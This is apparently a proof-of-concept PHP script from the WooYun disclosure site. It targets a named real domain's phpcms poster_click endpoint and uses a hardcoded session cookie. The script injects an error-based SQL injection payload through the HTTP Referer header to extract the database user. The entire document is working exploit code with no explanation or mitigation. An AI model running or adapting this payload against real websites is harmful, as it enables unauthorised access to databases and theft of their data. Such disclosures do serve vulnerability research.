WooYun.org

<?php
set_time_limit(0); 
//$id=$_GET["id"]; 
//$id=str_replace(" ","%20",$id); 
//$id=str_replace("=","%3D",$id); 
$cookie="PHPSESSID=mijiidm6gls48e9hkq02vtc3o3";
$url = "http://video.grandcloud.cn/index.php?m=poster&c=index&a=poster_click&id=1"; 
$referer="000',(SELECT 1 FROM(SELECT COUNT(*),CONCAT(user(),FLOOR(RAND(0)*2))X FROM information_schema.tables GROUP BY X)a),'1')#";
//$postdata = "";
$ch = curl_init(); 
curl_setopt($ch, CURLOPT_URL, "$url"); 
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); 
curl_setopt($ch, CURLOPT_COOKIE, "$cookie");
curl_setopt($ch, CURLOPT_REFERER, "$referer");
// curl_setopt($ch, CURLOPT_POST, 1);//post提交方式
// curl_setopt($ch, CURLOPT_POSTFIELDS, $postdata);//post的数据
$output = curl_exec($ch); 
curl_close($ch); 
print_r($output);
?>